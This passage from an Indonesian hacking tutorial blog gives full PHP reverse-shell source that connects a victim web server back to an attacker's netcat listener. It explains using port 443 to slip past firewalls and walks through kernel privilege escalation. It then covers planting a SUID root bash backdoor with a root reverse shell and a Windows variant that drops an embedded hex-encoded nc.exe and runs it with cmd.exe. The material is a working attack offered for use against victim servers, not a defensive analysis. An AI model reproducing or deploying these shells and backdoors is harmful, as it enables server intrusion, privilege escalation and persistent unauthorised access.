<span style="color: #000088;">$daemon</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$debug</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">function_exists</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'pcntl_fork'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #666666; font-style: italic;">// Fork and have the parent process exit</span>
	<span style="color: #000088;">$pid</span> <span style="color: #339933;">=</span> pcntl_fork<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$pid</span> <span style="color: #339933;">==</span> <span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;ERROR: Can't fork&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #990000;">exit</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$pid</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #990000;">exit</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">// Parent exits</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">// Make the current process a session leader</span>
	<span style="color: #666666; font-style: italic;">// Will only succeed if we forked</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">posix_setsid</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Error: Can't setsid()&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #990000;">exit</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000088;">$daemon</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
	printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;WARNING: Failed to daemonise.  This is quite common and not fatal.&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// Change to a safe directory</span>
<span style="color: #990000;">chdir</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// Remove any umask we inherited</span>
<span style="color: #990000;">umask</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$sock</span> <span style="color: #339933;">=</span> <span style="color: #990000;">fsockopen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ip</span><span style="color: #339933;">,</span> <span style="color: #000088;">$port</span><span style="color: #339933;">,</span> <span style="color: #000088;">$errno</span><span style="color: #339933;">,</span> <span style="color: #000088;">$errstr</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">30</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$sock</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$errstr</span> (<span style="color: #006699; font-weight: bold;">$errno</span>)&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">exit</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// Spawn shell process</span>
<span style="color: #000088;">$descriptorspec</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span>
   <span style="color: #cc66cc;">0</span> <span style="color: #339933;">=&gt;</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;pipe&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;r&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>  <span style="color: #666666; font-style: italic;">// stdin is a pipe that the child will read from</span>
   <span style="color: #cc66cc;">1</span> <span style="color: #339933;">=&gt;</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;pipe&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;w&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>  <span style="color: #666666; font-style: italic;">// stdout is a pipe that the child will write to</span>
   <span style="color: #cc66cc;">2</span> <span style="color: #339933;">=&gt;</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;pipe&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;w&quot;</span><span style="color: #009900;">&#41;</span>   <span style="color: #666666; font-style: italic;">// stderr is a pipe that the child will write to</span>
<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$process</span> <span style="color: #339933;">=</span> <span style="color: #990000;">proc_open</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$shell</span><span style="color: #339933;">,</span> <span style="color: #000088;">$descriptorspec</span><span style="color: #339933;">,</span> <span style="color: #000088;">$pipes</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">is_resource</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$process</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;ERROR: Can't spawn shell&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">exit</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// Set everything to non-blocking</span>
<span style="color: #666666; font-style: italic;">// Reason: Occsionally reads will block, even though stream_select tells us they won't</span>
<span style="color: #990000;">stream_set_blocking</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">stream_set_blocking</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">stream_set_blocking</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">stream_set_blocking</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sock</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Successfully opened reverse shell to <span style="color: #006699; font-weight: bold;">$ip</span>:<span style="color: #006699; font-weight: bold;">$port</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #666666; font-style: italic;">// Check for end of TCP connection</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">feof</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sock</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;ERROR: Shell connection terminated&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">// Check for end of STDOUT</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">feof</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;ERROR: Shell process terminated&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">// Wait until a command is end down $sock, or some</span>
	<span style="color: #666666; font-style: italic;">// command output is available on STDOUT or STDERR</span>
	<span style="color: #000088;">$read_a</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sock</span><span style="color: #339933;">,</span> <span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$num_changed_sockets</span> <span style="color: #339933;">=</span> <span style="color: #990000;">stream_select</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$read_a</span><span style="color: #339933;">,</span> <span style="color: #000088;">$write_a</span><span style="color: #339933;">,</span> <span style="color: #000088;">$error_a</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">// If we can read from the TCP socket, send</span>
	<span style="color: #666666; font-style: italic;">// data to process's STDIN</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">in_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sock</span><span style="color: #339933;">,</span> <span style="color: #000088;">$read_a</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$debug</span><span style="color: #009900;">&#41;</span> printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SOCK READ&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$input</span> <span style="color: #339933;">=</span> <span style="color: #990000;">fread</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sock</span><span style="color: #339933;">,</span> <span style="color: #000088;">$chunk_size</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$debug</span><span style="color: #009900;">&#41;</span> printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SOCK: <span style="color: #006699; font-weight: bold;">$input</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #990000;">fwrite</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$input</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">// If we can read from the process's STDOUT</span>
	<span style="color: #666666; font-style: italic;">// send data down tcp connection</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">in_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$read_a</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$debug</span><span style="color: #009900;">&#41;</span> printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;STDOUT READ&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$input</span> <span style="color: #339933;">=</span> <span style="color: #990000;">fread</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$chunk_size</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$debug</span><span style="color: #009900;">&#41;</span> printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;STDOUT: <span style="color: #006699; font-weight: bold;">$input</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #990000;">fwrite</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sock</span><span style="color: #339933;">,</span> <span style="color: #000088;">$input</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">// If we can read from the process's STDERR</span>
	<span style="color: #666666; font-style: italic;">// send data down tcp connection</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">in_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$read_a</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$debug</span><span style="color: #009900;">&#41;</span> printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;STDERR READ&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$input</span> <span style="color: #339933;">=</span> <span style="color: #990000;">fread</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$chunk_size</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$debug</span><span style="color: #009900;">&#41;</span> printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;STDERR: <span style="color: #006699; font-weight: bold;">$input</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #990000;">fwrite</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sock</span><span style="color: #339933;">,</span> <span style="color: #000088;">$input</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #990000;">fclose</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sock</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">fclose</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">fclose</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">fclose</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">proc_close</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$process</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// Like print, but does nothing if we've daemonised ourself</span>
<span style="color: #666666; font-style: italic;">// (I can't figure out how to redirect STDOUT like a proper daemon)</span>
<span style="color: #000000; font-weight: bold;">function</span> printit <span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$daemon</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$string</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p style="text-align: justify;">Setelah file tersebut dibuat, cara memakainya sangat mudah, anda hanya perlu memasukkan file tersebut ke suatu website. Lalu request file PHP tersebut dari browser anda. Contohnya bila anda menamakan file tersebut dengan rs.php, maka anda cukup membuka browser ke URL http://ALAMAT.IP.KORBAN/rs.php?ip=ALAMAT.IP.HACKER&#038;port=NO.PORT.HACKER</p>
<p style="text-align: justify;">Tapi sebelumnya anda harus sudah menyiapkan &#8220;listener&#8221;-nya di server milik hacker. Cara termudah adalah dengan memakai program netcat. Netcat di linux sudah secara default tersedia, sedangkan untuk windows harus didownload dulu dari <a href="http://joncraton.org/files/nc111nt.zip">sini</a>. </p>
<p align="justify">Dua gambar di bawah ini menunjukkan kondisi ketika ketika rs.php di-request, seketika itu juga netcat yang sudah diset untuk listen di port 443 menerima koneksi dari server korban dan memberikan shell untuk anda. Saya memilih port 443 karena biasanya firewall mengizinkan koneksi outbound pada port http dan https, bila saya memilih port 4444 dikhawatirkan firewall di server korban akan memblok koneksi tersebut karena port yang tidak umum.</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/07/rslinux.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2010/07/rslinux.png" alt="" title="rslinux" width="642" height="155" class="aligncenter size-full wp-image-2275" /></a><br />
<a href="http://www.ilmuhacking.com/wp-content/uploads/2010/07/rslinuxonwin1.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2010/07/rslinuxonwin1.png" alt="" title="rslinuxonwin" width="660" height="154" class="aligncenter size-full wp-image-2280" /></a></p>
<p style="text-align: justify;">Bila anda hosting di tempat yang tidak memberikan akses ssh, jangan kuatir, dengan cara ini anda bisa mendapatkan shell interaktif layaknya memakai ssh. Pengelola hosting juga jangan merasa aman bila tidak menyediakan akses ssh bagi customernya karena dengan cara ini customer bisa mendapatkan akses shell seperti ssh dan melakukan eksploitasi lokal lebih leluasa.</p>
<p><b>Privilege Escalation</b></p>
<p style="text-align: justify;">Mari kita lanjutkan skenarionya. Setelah kita mendapatkan akses shell sebagai user apache (ceritanya kita berhasil menghack website korban melalui sql injection attack). Kenapa user apache? Karena webservernya kebetulan dijalankan dengan privilege user apache.</p>
<p style="text-align: justify;">
Perintah uname memperlihatkan bahwa server hosting tersebut memakai Linux dengan kernel yang vulnerable terhadap null pointer dereference. Itu artinya kita bisa menjadi root di server hosting tersebut. Gambar di bawah ini adalah langkah yang dilakukan hacker untuk menjadi root.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/07/local_exploit1.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2010/07/local_exploit1.png" alt="" title="local_exploit1" width="683" height="804" class="aligncenter size-full wp-image-2289" /></a><br />
<b>Reverse Rootshell</b></p>
<p style="text-align: justify;">
Setelah menjadi root dengan mengeksploitasi kernel, hacker berusaha memasang backdoor sehingga dia bisa mendapatkan rootshell kapan saja dia mau. Dia akan membuat salinan /bin/bash ke dalam /sbin/bash, kemudian mengubah permissionnya menjadi SUID root (4755). Dengan cara ini, siapapun yang mengeksekusi /sbin/bash bisa menjadi root (khusus untuk bash perlu ditambahkan opsi -p untuk mendapatkan rootshell).
</p>
<p style="text-align: justify;">
Setelah membuat /sbin/bash, kini hacker membuat file baru rsroot.php yang merupakan modifikasi dari rs.php. Perbedaan antara rs.php dan rsroot.php hanya pada baris yang berisi variabel $shell. Bila sebelumnya variable $shell berisi /bin/bash, maka kini menjadi /sbin/bash yaitu root shell yang sudah dibuat hacker.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/07/local_exploit.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2010/07/local_exploit.png" alt="" title="local_exploit" width="577" height="504" class="aligncenter size-full wp-image-2291" /></a></p>
<p style="text-align: justify;">
Sekarang backdoor rsroot.php sudah siap dieksekusi. Kapanpun hacker menginginkan rootshell di server korban, dia hanya perlu membuka URL http://ALAMAT.IP.KORBAN/rsroot.php?ip=ALAMAT.IP.HACKER&#038;port=NO.PORT.HACKER.
</p>
<p style="text-align: justify;">
Gambar di bawah ini menunjukkan perbedaan antara rs.php dan rsroot.php. Ketika hacker mendapatkan rootshell dengan merequest URL rsroot.php terlihat karakter prompt yang didapatkan adalah &#8220;#&#8221; yang berarti ini adalah rootshell. Namun ketika shell di dapatkan melalui rs.php, maka prompt yang didapatkan adalah &#8220;$&#8221; yang berarti hanya normal shell sebagai apache.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/07/rsrootvsrs1.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2010/07/rsrootvsrs1.png" alt="" title="rsrootvsrs" width="545" height="223" class="aligncenter size-full wp-image-2328" /></a><br />
<b>Reverse Shell di Windows</b></p>
<p style="text-align: justify;">
File rs.php hanya berlaku untuk server berbasis UNIX seperti Linux, file tersebut tidak berlaku bila webserver berjalan di OS Windows. Karena implementasi dalam php murni tidak bisa, jadi saya menyiasati dengan cara script php tersebut mengeksekusi netcat.exe untuk memberikan reverse shell ke server hacker.
</p>
<p style="text-align: justify;">
Dalam script php, reverse shell yang memanfaatkan netcat.exe bisa dibuat dalam satu baris saja:
</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #990000;">system</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;nc.exe &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;ip&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;port&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; -d -e cmd.exe&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p style="text-align: justify;">
Masalahnya adalah script di atas memanggil netcat (nc.exe) yang umumnya tidak ada di windows. Ada beberapa alternatif cara untuk mendapatkan nc.exe di windows. Alternatifnya adalah:</p>
<ul>
<li>download: file nc.exe didownload dari suatu server. Donwload bisa dengan php atau tftp.exe.</li>
<li>upload: dibuat suatu file php untuk melakukan upload file ke webserver.</li>
<li>generate: script php akan membuat file nc.exe kemudian mengeksekusinya.</li>
</ul>
<p style="text-align: justify;">
Dari ketiga alternatif tersebut saya memilih opsi terakhir, yaitu generate karena paling praktis, tidak perlu download/upload nc.exe terpisah, cukup satu file php saja. Caranya adalah saya mengubah isi file binary nc.exe menjadi bentuk hexa, kemudian menaruhnya di awal file php sebagai variabel string. Kemudian isi variabel string ini akan diubah menjadi bentuk binary decimal dan ditulis ke dalam file nc.exe.
</p>
<p style="text-align: justify;">
Potongan script php di bawah ini mengubah variabel string dalam bentuk hexa ($hex) menjadi bentuk karakter ASCII (binary) dengan fungsi chr() dan disimpan dalam variabel $nc. Kemudian variabel $nc ini ditulis ke dalam file nc.exe dengan fungsi file_put_contents(). Setelah file nc.exe berhasil dibuat, maka dilanjutkan dengan mengeksekusi nc.exe dengan fungsi system().
</p>
<p align="justify">
Dalam potongan code ini, isi variabel $hex sengaja tidak ditulis lengkap agar mudah dilihat.
</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?</span>
<span style="color: #000088;">$hex</span><span style="color: #339933;">=</span>
<span style="color: #0000ff;">&quot;310101010255362c043bdfcc7ca3b2ff01141b89b009b9140100d9086c64&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;2feff743a88d6c11006fe4f692cb6f91739192980f96985c8ebcbd659d0b&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;699d40629b669b4a9cdc9e309c27349c1c112dea77e00102a635002f003f&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;43fccddffd00a44700e047017700974800e0488d00984900e049dffccddf&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;8600994b00e04b73009b4d00e04d74009d4f00cddffccde04f75009f5000&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;e0509100a05100e05176f2cddffc00a15200e0529200a25300e0539300a3&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;0000237521721b243100ba78f6fdfbdd3200970300793300230f7a340024&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;077b9df87cf9df250f7c36005e001e7d3700267e38736cf00a1d1a39fd0f&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;cf97ffbc80300029812d005f001f823d002b8397b7db47d47f070e09030f&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;00947100dfde4c6d9f1136e457001707116500456b253614dd1272090407&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;db6f866d13d454f702790059001907155de1ad6dda550407166900094317&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;cdb1c1ee6f004f480018d65013220477fbb55ba2c71a5d9a001dd65553ad&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;0e1b1ce76191a6fe526bd51e815ccc1f6400440004a2c4a76e660046c321&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;671de75bc78ea222689f083f236a004a4b3460e1246b006f0b9a164cffda&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;efcb000c263b003a4e27272a072860007eca42903a95225c28beb5c7747a&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;005a8c062c7800582c7414ef0c2d630043db2e8e56e828de51af2f620042&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;f23095b81596c54e1407316d8d3dbe3fdfb100322c003c332e003e073413&quot;</span><span style="color: #339933;">.</span>
